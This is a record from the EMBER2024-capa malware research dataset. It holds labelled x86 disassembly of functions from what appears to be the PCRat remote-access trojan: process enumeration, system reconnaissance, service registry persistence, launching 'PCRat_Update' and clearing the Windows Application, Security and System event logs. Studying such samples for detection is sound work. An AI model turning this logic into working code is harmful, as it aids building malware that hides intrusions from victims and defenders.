joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004f40
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x70]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x71
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10008550
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10005050
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push 0
push 0x1001ceac
push eax
push str.WinRar
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret 4

Function at 0x10005250
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x20
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 8]
add esp, 0x20
ret

Function at 0x10005270
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push ebp
push edi
xor ebp, ebp
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], ebp
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebp
push 2
mov dword [esp + 0x10], ebp
stosb byte es:[edi], al
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
je 0x1000537d
push ebx
lea eax, [esp + 0x18]
push esi
push eax
push edi
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10005374
mov ebx, dword [esp + 0x24c]
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x10005361
cmp eax, 4
je 0x10005361
cmp eax, 8
je 0x10005361
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
mov edi, ebx
mov edx, ecx
add ebx, 0x64
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x14]
cmp ebp, 0x63
jge 0x10005374
lea eax, [esp + 0x1c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100052e2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x238
ret 4
Function at 0x10005390
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x780
push ebx
push ebp
push esi
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x390]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x130]
mov byte [esp + 0x390], 0x68
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x130]
xor edx, edx
test al, al
lea ebp, [esp + 0x130]
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x10005537
jmp 0x100053f6
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x30]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x234]
push 0x160
push edx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x340]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x2c]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x100054a8
cmp al, 0x42
je 0x100054a8
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100054a8
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10015e00
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10015e00
mov dword [esp + 0x10], eax
jmp 0x100054ae
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x394], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x391], al
mov eax, ecx
mov dword [esp + ebx + 0x392], esi
lea esi, [esp + 0x340]
lea edi, [esp + ebx + 0x39a]
mov dword [esp + ebx + 0x396], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x30]
lea edi, [esp + edx + 0x39e]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x100053f4
mov edi, dword [esp + 0x794]
mov ecx, 0x100
lea esi, [esp + 0x390]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x780
ret 4
Function at 0x10005750
Capabilities:
Delete file
Print debug messages

Disassembly:
sub esp, 0x568
mov ecx, 0x41
xor eax, eax
lea edx, [esp]
push esi
push edi
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov edi, str.s__secivreS_tESlortnoCtnerruCMETSYS
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x574]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
lea eax, [esp + 0x178]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x6c]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [esp + 0x74]
push 0
push edx
push 1
lea eax, [esp + 0x184]
push str.InstallModule
push eax
push SysStringLen
call fcn.10008620
push 3
push 0
push 0
push 1
lea ecx, [esp + 0x1a0]
push str.InstallModule
push ecx
push SysStringLen
call fcn.10008b20
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x3c
push 0x1001b220
call esi
lea edx, [esp + 0x6c]
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
lea eax, [esp + 0x6c]
push eax
call edi
test eax, eax
jne 0x10005839
inc esi
cmp esi, 0xa
jl 0x10005828
pop edi
pop esi
add esp, 0x568
ret

Function at 0x100058b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10005904
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.10005850
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1000596f
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x10005980
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016270
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x25c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [ebp - 0x14], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push 0x1f4
lea eax, [ebp - 0x268]
push str.SYSTEMCurrentControlSEtServices_
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x268]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x268]
push ecx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10005a94
lea edx, [ebp - 0x20]
push 0x10018678
push edx
mov dword [ebp - 0x20], 0x1001ceac
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push 4
push eax
push 4
push 0
push str.Type
push ecx
mov dword [ebp - 0x1c], 0x120
call ebx
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10005aea
lea edx, [ebp - 0x18]
push 0x10018678
push edx
mov dword [ebp - 0x18], str.RegSetValueEx_start_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10005ae4
cmp byte [eax], 0
je 0x10005ae4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x10005aea
ret
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
push eax
call dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005b10
Capabilities:
Link many functions at runtime
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016280
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x260
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ebx, eax
push 0x1f4
lea eax, [ebp - 0x26c]
push str.SYSTEMCurrentControlSEtServices_
push eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x26c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x26c]
push ecx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10005c25
lea edx, [ebp - 0x20]
push 0x10018678
push edx
mov dword [ebp - 0x20], 0x1001ceac
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
push ecx
push edx
push 0
push str.Type
push eax
mov dword [ebp - 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov esi, eax
push ecx
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10005c7a
lea edx, [ebp - 0x24]
push 0x10018678
push edx
mov dword [ebp - 0x24], str.RegQueryValueEx_Type_
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x10005c77
ret
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
push eax
call ebx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006930
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x158
push ebx
push ebp
mov ebp, dword [esp + 0x164]
push edi
push 0x2f
push ebp
call dword [sym.imp.MSVCRT.dll_strrchr]
mov ebx, eax
add esp, 8
inc ebx
jne 0x1000695d
pop edi
pop ebp
xor al, al
pop ebx
add esp, 0x158
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x60]
push esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0x64]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, 0x1001b190
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x64]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x64]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x64]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebp
call fcn.1000f950
add esp, 8
test al, al
pop esi
jne 0x100069ef
pop edi
pop ebp
pop ebx
add esp, 0x158
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0x44
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x80]
push str.PCRat_Update
push eax
mov dword [esp + 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
pop ebp
pop ebx
neg eax
add esp, 0x158
ret
Function at 0x10006a40
Capabilities:
Create process on windows
Link many functions at runtime
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10006baa
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10006baa
lea ecx, [esp + 0xc]
push esi
lea edx, [esp + 0x68]
push ecx
push edx
push eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call eax
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
pop esi
je 0x10006baa
lea eax, [esp + 0x64]
push 0x1001b148
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10006baa
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x10], 0x44
test eax, eax
je 0x10006b75
mov dword [esp + 0x18], str.WinSta0Default
jmp 0x10006b84
mov dword [esp + 0x3c], 1
mov word [esp + 0x40], 0
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x10006bc0
Capabilities:
Access the windows event log
Clear windows event logs
Link many functions at runtime

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [esp + 0x18], str.Application
mov dword [esp + 0x1c], str.Security
mov dword [esp + 0x20], str.System
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
lea edi, [esp + 0x10]
mov ebp, 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10006c6d
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebp
jne 0x10006c50
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x10006c80
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001cfc8]
lea eax, [esp + 4]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x108]
rep stosd dword es:[edi], eax
cmp byte [0x1001d103], 4
jne 0x10006cf2
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 4]
lea edx, [esp + 4]
rep stosd dword es:[edi], eax
push edx
call fcn.1000cf30
add esp, 4
lea eax, [esp + 4]
lea ecx, [esp + 0x108]
push eax
push str._s_lang.ini
push ecx
jmp 0x10006d04
lea edx, [esp + 4]
lea eax, [esp + 0x108]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop edi
jne 0x10006d2c
push 0x1001b35c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esp + 0x20c]
lea edx, [esp + 0x104]
push edx
push eax
push str.Remark
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0x208
ret
Function at 0x10006d60
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001cfc8]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
cmp byte [0x1001d103], 4
jne 0x10006dd3
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 8]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
push edx
call fcn.1000cf30
add esp, 4
lea eax, [esp + 8]
lea ecx, [esp + 0x10c]
push eax
push str._s_lang.ini
push ecx
jmp 0x10006de5
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10006e18
push 0x1001b35c
call esi
mov ecx, dword [esp + 0x218]
lea eax, [esp + 0x10c]
push eax
push ecx
push str.name
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
add esp, 0x208
ret

Function at 0x10006e50
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001cfc8]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
cmp byte [0x1001d103], 4
jne 0x10006ec3
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 8]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
push edx
call fcn.1000cf30
add esp, 4
lea eax, [esp + 8]
lea ecx, [esp + 0x10c]
push eax
push str._s_lang.ini
push ecx
jmp 0x10006ed5
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10006f08
push 0x1001b35c
call esi
mov ecx, dword [esp + 0x214]
lea eax, [esp + 0x10c]
push eax
push ecx
push str.icon
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
add esp, 0x208
ret